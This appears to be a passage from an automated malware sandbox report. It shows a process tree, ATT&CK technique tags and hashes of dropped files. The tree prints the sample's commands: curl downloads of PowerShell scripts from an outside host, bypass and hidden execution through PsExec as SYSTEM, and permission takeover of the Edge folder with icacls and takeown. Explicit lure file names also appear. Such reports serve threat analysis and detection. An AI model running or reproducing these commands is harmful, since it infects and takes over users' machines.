      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4508
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/rAA.ps1 -o C:\Users\Admin\AppData\Local\Temp/build\helloworld.ps1
      4⤵
      PID:5428
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /F C:\Users\Admin\AppData\Local\Temp\ㅤㅤ /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4556
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h ..\ㅤㅤ
      4⤵
      Views/modifies file attributes
      PID:4644
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini
      4⤵
      Drops desktop.ini file(s)
      Views/modifies file attributes
      PID:5776
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenpussyfeetandass.mp4
      4⤵
      Views/modifies file attributes
      PID:696
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenreversecowgirlboyf.mp4
      4⤵
      Views/modifies file attributes
      PID:1648
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutdroppanties.mp4
      4⤵
      Views/modifies file attributes
      PID:700
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutpussyspread.mp4
      4⤵
      Views/modifies file attributes
      PID:1564
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenSnapchatdihhfrombe.mp4
      4⤵
      Views/modifies file attributes
      PID:4780
  - - C:\Users\Admin\AppData\Local\Temp\build\node.exe
      "C:\Users\Admin\AppData\Local\Temp\build\node.exe" index.js
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5056

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
1⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2944
- C:\Windows\SysWOW64\unregmp2.exe
  "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3360
- - C:\Windows\system32\unregmp2.exe
    "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
    3⤵
    - Enumerates connected drives
    - Suspicious use of AdjustPrivilegeToken
    PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
1⤵
- Drops file in Windows directory
PID:1140

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -File "%TMP%\build\helloworld.ps1"
1⤵
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\build\helloworld.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3612
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aklmii0t\aklmii0t.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2804
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCC92.tmp" "c:\Users\Admin\AppData\Local\Temp\aklmii0t\CSCABA6BE0CECB24C039B7B575FD337D6.TMP"
      4⤵
      PID:4656
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" https://nyx8.net/rANT.ps1 -o C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1
    3⤵
    PID:2952
- - C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe
    "C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe" -accepteula -s powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1"
    3⤵
    - Executes dropped EXE
    - Hide Artifacts: Hidden Window
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3548

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in Drivers directory
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\tneysxhk\tneysxhk.cmdline"
    3⤵
    - Drops file in Windows directory
    - Suspicious use of WriteProcessMemory
    PID:3852
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RESDB48.tmp" "c:\Windows\SystemTemp\tneysxhk\CSC1D6C9F2CD0284D558D57E43629DBD4A8.TMP"
      4⤵
      Drops file in Windows directory
      PID:3444
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" -duplicatescheme e9a42b02-d5df-448d-aa00-03f14749eb61
    3⤵
    - Power Settings
    PID:1280
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" -setactive e9a42b02-d5df-448d-aa00-03f14749eb61
    3⤵
    - Power Settings
    PID:5656
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /setowner *S-1-5-18 /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4256
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /grant *S-1-5-18:(OI)(CI)(F) /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2660
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /grant *S-1-5-32-544:(OI)(CI)(RX,W) /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1904
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3744
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /remove *S-1-1-0 /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1680
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /invokeAdmin.vbs -o "C:\Program Files (x86)\Microsoft Edge\lol\invoke.vbs"
    3⤵
    PID:2752
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /ss.ps1 -o "C:\Program Files (x86)\Microsoft Edge\lol\ss.ps1"
    3⤵
    PID:5248
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /2.7z -o "C:\Program Files (x86)\Microsoft Edge\2.7z"
    3⤵
    PID:1548
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /cert.pem -o "C:\Program Files (x86)\Microsoft Edge\env\cert.pem" -k
    3⤵
    PID:712
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /3.7z -o "C:\Program Files (x86)\Microsoft Edge\3.7z"
    3⤵
    PID:708
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /5.7z -o "C:\Program Files (x86)\Microsoft Edge\5.7z"
    3⤵
    PID:5176
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /6.7z -o "C:\Program Files (x86)\Microsoft Edge\6.7z"
    3⤵
    PID:2012
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /7.7z -o "C:\Program Files (x86)\Microsoft Edge\7.7z"
    3⤵
    PID:3020
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /F /TN \MicrosoftEdgeUpdateFail
    3⤵
    PID:5556
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /F /TN \X
    3⤵
    PID:2996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command sleep -Seconds 2; rm 'C:\Users\WellSmith\AppData\Local\Temp\build' -Force -Recurse
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:4564

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5244

C:\Windows\system32\wscript.exe
"wscript.exe" "C:\Program Files (x86)\Microsoft Edge\LoL\invoke.vbs" "C:\Program Files (x86)\Microsoft Edge\LoL\ss.ps1"
1⤵
PID:5612

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Power Settings

T1653

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

invoke.vbs

Path C:\ProgramData\invoke.vbs
Size 302B
SHA256 76618b05eb59f55ce621fd06f15c0dabd9cd3f47eefcb86b461b5c5634b6c7b2
MD5 bea15e48cac2734d6b9fa5760a164d6c
SHA1 4d292e1b263018ef57c76d797a342ba56db01d83
SHA512 8c6306742ebe04a7b15dd3a95b76bd4acdfd8bab5643b77ed91bc7304a3f73dd115cd480c46988fe2174c5a8693f80891b6c1226e901452434697be4ea4e93ed
TLSH
T16FE0C20AA0BECA554AC7845311E1EC0D8EA6F31C62009531AE329C11AA24954CEE2D07
MD5 SHA1 SHA512 TLSH

Submit Download

rIF.ps1

Path C:\ProgramData\rIF.ps1
Size 6KB
SHA256 3e4951b2a2188ab45c53cb542f896dcb9ee21d71c7c2e91e2177a42e1688dfa1
MD5 6ab39bea09d5ec13d8833eaa36efa57c
SHA1 596de9ff3de26f00bcafb864e7d5e817f1accaf5
SHA512 bbbcc3eec75ba1a1a68192179395a8082fa072db056805d560eca87d9baea4d0e32b027b50d1bee874a42be391b9e46a63e99fffe494e096b707de2f740879e1
SSDEEP 192:qEcJPPvR7EGP+PRPqdDKIPsC8DKlPPB4uPzPyPI:qTJ57EGP+PRPqBNP5OePPBvPzPyPI
TLSH
T160D12B63AF05EE9887C5121C47CF84C1079C17B9A4520DB81689BE8CFA8B19BA5FA04B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CurrentDatabase_400.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
Size 384KB
SHA256 d8b9f79f672cb9ce56ac8f0f4d856e7f5ffc1ebaf9dc11c6926bd8f45271bf03
MD5 d003926f61b61bff63bd7e3923cb741e
SHA1 d1eb34f36e325107f208b496bac7b26310933551
SHA512 bbd8ac727922482035d945353c249dd3003ca59df92e46f1c2b83a3338ce09f28aa454cbf718f326817eb87070c237746a06ed90d87931938423983d91ab8726
SSDEEP 768:7f0aleDxcg7KGVp3zT13VuI61HOdrrA9abhr1vfEwPRzitFrzcooJImdba5aSt35:769tQeoVYo
TLSH
T106843037E5A0A084DF3C7171E2AC1F4CBE72650B11E406421FB4B57EBA237D58A0B5EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CurrentDatabase_400.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
Size 1024KB
SHA256 604d9ac6d6a796b000d44079ffca4d26197edb6db52ee49617f571e51fd63fe3
MD5 44797e712d76dbf3aed8f65cd1bc4d53
SHA1 de1425500458071c1c7ab1f3d33594d0231166fd
SHA512 c661f8eda23c0a2eb12856c83032d167548fb7f7302c73e8a52c99f995881fcc7d7a2cccc4f27c66bb63b3a7a516e2fa903dff84b62f89f18c3cde29fcc0c36d
SSDEEP 768:W0aleDxcg7KGVp3zT13VuI61HOdrrA9abhr8fEwPRzitFrzAqUmNKX08oJImdba2:4ZP2tFP3vqY8KqEMATaBacg
TLSH
T121258537D190B0C5CE2CB171E9ED8F09BA23A10B11A052465FF8957E7A633D98D1B1EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WMSDKNS.XML.bak

Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak
Size 9KB
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b
SSDEEP 96:/YkZRAF6zyHUhm77yB1pZYCEnfHrHH7B6xTGH+YCLV3zwULJEYCJWyHBt3zwFRh+:/2FV0bBPCfUdY
TLSH
T10022A2A194818DD206290E275DB95C0DDA8CE9D3832C24997C9EEB7FDFB1C00355FB6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f7ad9abdcd636c2c6889999c25838241b47d0a25155ace08f64e55a25eb3ff9
MD5 7aa40f01332d390a0557187ed788e89f
SHA1 7d7c1a1c58e25749832d6634611c29cc8fabbf19
SHA512 1d9d4d55030ef6e8d1e386e61671f00bc271b8df8179ca19846c2b39cbb2bca110b67b3d4a6d1f200966057f5c6cea3f4dd1ad02d11e42ec7d013c6803954966
SSDEEP 1536:iKLmShYoNz8KMSfKQ1EflJntHY9h4iUxaR40i71Yi68nvwAOdB4V3CNBQkj2jaVP:iKLmShYoNz8KMSfKQ1EflJnpY9qiUaR9
TLSH
T135637292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES9A95.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9A95.tmp
Size 1KB
SHA256 f892fc612e6922b55333082bc9fd04e9f1df18f952b01d6decb9fbae5db84b86
MD5 b1e29d94a1d6044149dd5dc68cff87a4
SHA1 8f95018f37eb0e16ccd1d761279ffde6124f53d8
SHA512 ce434b739b806e1be530098cb94a2ac6288514b3a6f128da6fb3b673b9063bb44d3749beed09c8b6a23b3c5005d3933329591ab7b748addb9a8d23df4987e09f
TLSH
T116218C04A3E98B1FF073573269F6231FA675FD64EFA2935A4980022D2C41654EEA1A72
MD5 SHA1 SHA512 TLSH

Submit Download

RES9C3B.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9C3B.tmp
Size 1KB
SHA256 87d8a10817304fffb3ff49091d2285ca3aba8ffc34065e205af6ca8e751fe4b5
MD5 62c9bbb2be683d5d26eb4f34e252b831
SHA1 47537a59ff2f6d7f1f8c5816ee5bbfeabf6f8b86
SHA512 1d95b01ec11c7c089ede2fd3644b466302e3dc4650eafa67804c457942214b1f108f85c4b86d5dfea4c476f0a87a91c34db3c47530c50d09fb545ec5f18ac7cf
TLSH
T1D921CC0553E88B1FF0B747327DFA135BE235FD94EFA2936A8941022C2C41604EEA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

RES9CA8.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9CA8.tmp
Size 1KB
SHA256 1509201dbd9a985a53b8b3cb1cae080198687a10d329484461ce33e83c1266e8
MD5 fc99b8757a3b12e4a854c7cc4d75543a
SHA1 3e2f4eb07e967476bc9be24b33c370311de0a45e
SHA512 ca05b27b22321e6cd0e99ad57688974425502aabf35311b5d2fa70a489ee020e7f4beb6cccb47e8a0e0dff971d250a2a9614c577e51cc127fae9dad2fa4cfa31
TLSH
T17B21CC0193E8870FF0774B326DF6136FA275FD54EFA2935A4550522C2C21504EFA1A72
MD5 SHA1 SHA512 TLSH

Submit Download

RESCC92.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESCC92.tmp
Size 1KB
SHA256 61a1e089c538efb77bcfdf2f345ea12ad0491389c888926261c70f2b8cb59cc0
MD5 3f85b66a80b11b2820f45d804d79cfe2
SHA1 857629968d70cc4f89f87dddc0813ec1cf1abd3b
SHA512 fdb9f466f39d237774dd74aedae37003217ed859fea3c904ada8a764e9cc94adf2b7399b945d65201a0b5dc38f5470b62204abe2ac8906c9aa872f63c267827c
TLSH
T19C21AF4553E9471EF0B34731B9F6072B9668FD58DF61936A544052282C51504DFB0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_u53n25ne.nxb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u53n25ne.nxb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

a.cmd

Path C:\Users\Admin\AppData\Local\Temp\a.cmd
Size 309B
SHA256 b0ad0dae605be15f250b01fe818e6cad76452b391cd48a087de6d2ddf83ba9a4
MD5 1cd006b01298d34c6daea4049c9f968b
SHA1 f8515dd6a247f045f4b2c41576a65fe8e0d38709
SHA512 7adc26d0806770a794ddca2d4d8f332d40e43d2cbcc9e178c7422ff96f04ce88168637731ab21568a8bfc6dca1c39919cc7c70e77a2d6ac446428deae232327f
TLSH
T14DE07D41FB04726ECE074C2A345291E4724F719A3F12938BA4720F1A3CAC365E25E603
MD5 SHA1 SHA512 TLSH

Submit Download

aklmii0t.dll

Path C:\Users\Admin\AppData\Local\Temp\aklmii0t\aklmii0t.dll
Size 3KB
SHA256 72d62da9dbd797e1cc9f7d3f8328486e142afbe4b27197ed853c564d54ee3164
MD5 d06c9307d3e5f1337319cea5b14686b9
SHA1 65c1c4843dac262ebeeba1241500769d7ab04a95
SHA512 9ae1b8617a2bcc4a140c721b0d42be6a38f7a3943224a706e372206035c1e2624fa413e3c9a0ee192c35ace9d22b0f16094199a7b63696ea6a3e2accd4225981
TLSH
T1BA71F11A53E4462BE8FB4734AEF3475327B4FC509F73976E0D8012196CA12B45A71BB1
MD5 SHA1 SHA512 TLSH

Submit Download

1.7z

Path C:\Users\Admin\AppData\Local\Temp\build\1.7z
Size 7.2MB
SHA256 ebf52d694af6fb9ffe7cf01bfc5c1cf2f5c2089c4d88c1c2edd4016a8d041f0e
MD5 2999227cb641cb3c55f25131e0f271d6
SHA1 2b3126bd866cb16af0dc5d0d5a6954536abdb04c
SHA512 29275bffd1188b6e7ae74243efb1df569613b39bd2f81fbcf873fb0379e4749a433f6713996de973946c4491524e2973e45be1f4b89a7b959ea45679c77c94be
SSDEEP 196608:9Qqt68Q1CR1dghXLewagOsHzSEZPgzD6JjmnsaH:9/68Zz6BewFSEKzDQaH
TLSH
T1D1763364BC8795FBAE02FD4681497D73583DBE28A37977160B573DAC0AC3950DA832C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7z.exe

Path C:\Users\Admin\AppData\Local\Temp\build\7z.exe
Size 587KB
SHA256 27cbe3d5804ad09e90bbcaa916da0d5c3b0be9462d0e0fb6cb54be5ed9030875
MD5 890595b9f1fcbd6b627386335e96251b
SHA1 8c95c825f7385487811cc2ee4b08d5e44da88b7a
SHA512 7d84fcad0a6a1cf8c2e7bb01606c671cd91bf2691595eee1f0d67c89711c551778188423f07bbbfdced6ea03eda33b513fffa39584c60e9a5079a0efb7e73bb0
SSDEEP 12288:vtLgnXR4DYfux5XilKqQ+far3OGS4Q6sKs5KVDrTnacLL:vN8RcciXi0zIi364Zsz5KVDScv
TLSH
T179D4AE173AE5C07ED25215308A1D6BB590FBC7690B3208C763809E6D2B359E6D63B93E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PsExec.exe

Path C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe
Size 699KB
SHA256 078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937b
MD5 24a648a48741b1ac809e47b9543c6f12
SHA1 3e2272b916da4be3c120d17490423230ab62c174
SHA512 b974ce956f2e922e92ca414d1bd6cc7bcb36bc44532b28b392f2a8052d6d47fd742841c4add6ec5c8283d28d7245b1704af34a523917e49cef007eef700a0b9a
SSDEEP 12288:LOO6oMlKDdwPDMlkw6Pph0lhSMXle+eO1HK+meynh5yRX3oRG72:LD9McwPDCkw6Bh0lhSMXlemqth5yRX3E
TLSH
T1B4E48D1172D18032E0B22A301AB89BB16A3E7D305F7595DF27D85A7E5E30AC1DA35B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

URL

Path C:\Users\Admin\AppData\Local\Temp\build\URL
Size 19B
SHA256 d90c4bd3352c37402f36a4db0bc82c7a3c194660a1c29956ca2e7f3c3f842eda
MD5 ef1af41a40b8405463afabcfe316be21
SHA1 7f2f66eef7105730a49124f2664f734e522b8ecd
SHA512 8b6612cd0a7a1c7f73e4c69ecb72b9259bf8d7853d5a864b8f85ca703d59fa18905ba336e0c893b6844ba2ef1172634c4e7715113cfb4138186121feae141827
MD5 SHA1 SHA512

Submit Download

cID

Path C:\Users\Admin\AppData\Local\Temp\build\cID
Size 6B
SHA256 405d221afe891372c2ab37d4c80fc177544eae90a182f0669ef40dba6ce5d1fd
MD5 c44f7545a6c17165f0303e2fe936bead
SHA1 59caea36efeeb2846dab5d50d404911e00eaead0
SHA512 ba6a9ac73fd9cefb36d6adaba78266fb5ec98540b2f3d7259590a8ecd7c445f8a3f64695f30cbc769bae2aa2a9a7d53b27e1c55bdc4f0d81a4aa5030979584b1
MD5 SHA1 SHA512

Submit Download

helloworld.ps1

Path C:\Users\Admin\AppData\Local\Temp\build\helloworld.ps1
Size 20KB
SHA256 0d1b024172ea86df2792c31eb8520a4e219f5f7445a16adbdc0c7e6e127d2303
MD5 1415a24ab212b2916f5026eb262c9be8
SHA1 52fbe8db2d0a1c2ac9843d6e2619f0ba08cd4f02
SHA512 41ec20679d2140845e185ea0c03a9c9453e5e32b769423032974f1962a872a801183699294087a8ae273a2e0f2bfb4d611d8bf15a41f06bb5abe48c9a7e79bed
SSDEEP 384:CGYpCJNhHcUtbe+LQDAmdjZOfFsIGHncRfWR+n/fdk/GEfHzsPBPNPqRb1PRQP8h:pLhHcSbe+GLjQyTHn1Rstdx5161S3g8q
TLSH
T1E692BF2ACE46EE3ECBC0E56C85ED98D857BC1BBA94D0A5D410092564FF03D8AE5FD043
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\Temp\build\index.js
Size 94B
SHA256 a18359890214e4f5bef4d027a2de66abdc0a300c0f46d27327550c8d5dcb176f
MD5 182832a73ec19ae2d7d2ea3a4fa03587
SHA1 f7e76199d62be207040c383fe1c54b18a7392f3a
SHA512 d07418175730f6fed9d2446070850d704c1179aa673e404486c60bd170f02587e692dcf3d6cc166a415e692755151826b30e1cfd87ad882827f37bc206dd5496
TLSH
T19AB012D310D333632E9040CCE0C3223138C1F0542B105A18EA8CC05503114C00315CC4
MD5 SHA1 SHA512 TLSH

Submit Download

inject.node

Path C:\Users\Admin\AppData\Local\Temp\build\inject.node
Size 927KB
SHA256 a3fd9123361e8f1c00f30786aadb7d6985ac8c8c6eda70dbce3828b94a54f5e0
MD5 4a05ac7d8a0eaa2666792923a772e2bf
SHA1 5513ef3aec94c842a3cd9fc469ceee21d3576f0c
SHA512 ef70a3a922bbdb9aa6343f5c5d9a9e3b58e8fa13644a6877c2597534049b470d5a0abbaf5c3187561d0c926a3e0ea61ef8f3ecdd01a2964fb2939c344153ff3f
SSDEEP 24576:gxM6S7zDlclpi28NviQzylHy+FIjT7x4WX4FsDLAgRYeS:7imoc
TLSH
T17E15F18D466C89E9F8979A70881706C76BF27C89D280EE5FAFD0045C1DB35D2817FE92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

node.exe

Path C:\Users\Admin\AppData\Local\Temp\build\node.exe
Size 24.9MB
SHA256 6664cc00232d95f73e050f25b1dd1000b44f63e35f051734c9bee478cd3574c7
MD5 382b8f4b78ec9f5aa32cdd9635f77c65
SHA1 26dedbc963be336fd4552c50b0ff296656ad1f74
SHA512 cb2ed5e4e3e611a12d2367753da85f3268422abde9151fc881716620b6ff92110f32efbb16923f37f6fb3d1c806782affb3ee166b4a00b7b1aca8901cd463c72
SSDEEP 393216:kDoSAfzAfMr7lfQFbM+uxOjhNKl6gAAznOltkjBOLf2Te2DCdFDEN5u:kFRQBOLOzu
TLSH
T1AC477C1373E50195E5B3C23889AB4213D773B8624B30CBDF216D42592FB7AE09A7E761
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pID

Path C:\Users\Admin\AppData\Local\Temp\build\pID
Size 14B
SHA256 105de9a3a1a2d78953d0b1fa200414b2e6d365c779c21e31399220ee18290388
MD5 807797290702568ab5b3b43a3f2cf06e
SHA1 7c5e3939f2f367a9c0d54e7c8f4254415ea354f4
SHA512 338c3c6bbb9e1476e7355c766c35e489368aec577ccd6b55e3c21d4e99e046c7ff8b7cd17f8355b1c66e77216c721e49a609192dc2b9936060de2e513de712f8
MD5 SHA1 SHA512

Submit Download

rANT.ps1

Path C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1
Size 19KB
SHA256 474050d4fe8acd2098ad8549df1c17f46fe4f1af35cfee7394c636fc5ad45912
MD5 079591b177f57dd00fd4efaa6868b2a2
SHA1 7d7b7a4d70e3c99653d3dcd04fd521bf422c8904
SHA512 28d81b7fb42b767d51514f4418ba6dae615a440288e8e15f9b9ec6b912c9b5c3452e6f68848774d79bea63b9ed1cd1dd7a83b229e7fdb419d18d205af21c79b1
SSDEEP 384:d1tTknM+8o9Fe/G9h2Xf3d4oog6Xc0JfWKZQ232i6PCPqTPrPfJP73PQDPjP+:d34M+8Aeu9h6P6fhWXu6qejJbs72
TLSH
T141929E57BE418EB8C78D221860DC88DA07AC47FE40117989636AB944FB82CDFE5FB035
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gnn3ztwq.dll

Path C:\Users\Admin\AppData\Local\Temp\gnn3ztwq\gnn3ztwq.dll
Size 3KB
SHA256 a3ef2bd366c131242f0351b28d1c610eb3f59befa54573e35b36e99bdce74957
MD5 f8e908aba42d90c4c89f5588589eb4e7
SHA1 05e5b25a380b00e4b7cbfad098f976d32267206b
SHA512 57b4687c46f6dc3623ef0a2f5ae157808d20b8a3f3b0a60955c792b2918b3d6b85bee763a1f8cdd61e375441addbdfd9b93869f1e6cc5aaf66340633385a168f
TLSH
T1E551DB1AA7E8463BF0B74B306EF303172BB4FC508B72975E489042286C613646931BB0
MD5 SHA1 SHA512 TLSH

Submit Download

iahfwlkd.dll

Path C:\Users\Admin\AppData\Local\Temp\iahfwlkd\iahfwlkd.dll
Size 3KB
SHA256 d3d7a5329d7745d2cfdb19940a3c2908c8f26695ed744ef5e1e862acfe45eb50
MD5 0bc4236a577c891a24efd00aed44e5ca
SHA1 90d7d0bc9a6dbd60622a082b212766a79dfe993f
SHA512 95415be125dbd1b45fa0e4fbd81d7ff82f2ff035e9cc1af3a787641c5ec5afe45d4a2a99288b3b13de2a886622d15e0438ca82e83f7b1da7ff15d66e33ded9c2
TLSH
T1A971FF1A57E44A6BE4FB0734AEF3475327B0F8508F73876E0DC00229ACA02645D71BB2
MD5 SHA1 SHA512 TLSH

Submit Download
